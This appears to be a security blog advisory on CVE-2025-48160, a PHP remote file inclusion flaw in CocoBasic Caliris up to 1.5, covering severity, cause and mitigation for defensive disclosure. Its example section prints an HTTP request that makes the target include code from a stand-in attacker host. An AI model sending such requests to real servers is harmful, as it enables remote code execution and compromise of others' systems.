Overview
This blog post provides an in-depth analysis of the CVE-2025-48160 vulnerability, a serious security flaw that affects CocoBasic Caliris up to and including version 1.5. This vulnerability stems from improper control of the filename for include/require statements in PHP programs, leading to possible PHP Remote File Inclusion. The potential impact includes system compromise and data leakage, making this an issue of high concern for users and administrators of affected systems.
Vulnerability Summary
CVE ID: CVE-2025-48160
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and data leakage
Affected Products
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Product | Affected Versions
CocoBasic Caliris | Up to and including 1.5
How the Exploit Works
The vulnerability exploits the improper control of filename for include/require statement in PHP programs, a common issue known as PHP Remote File Inclusion (RFI). RFI occurs when an application includes a PHP file from a remote server, allowing an attacker to inject code.
In the case of CVE-2025-48160, the affected software does not adequately sanitize user-supplied input for the filename. This lack of proper input validation means that an attacker can include a file from a remote server and execute arbitrary PHP code within the context of the web server process. This could lead to unauthorized access, disruption of service, or disclosure of sensitive information.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. Assume that the attacker wants to inject a malicious PHP file located at `http://malicious.example.com/badcode.php`:
GET /vulnerable.php?file=http://malicious.example.com/badcode.php HTTP/1.1
Host: target.example.comIn this example, the attacker sends a GET request to the vulnerable script (`vulnerable.php`), passing the URL of the malicious script (`http://malicious.example.com/badcode.php`) as a parameter. If the server is configured to allow URL includes, the malicious script will be executed when the vulnerable script is accessed.
Mitigation Guidance
Users of CocoBasic Caliris are advised to update their software to the latest version, which contains a patch for this vulnerability. If an update is not immediately possible, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. As a best practice, always sanitize user-supplied inputs and avoid using user input directly in include/require statements.
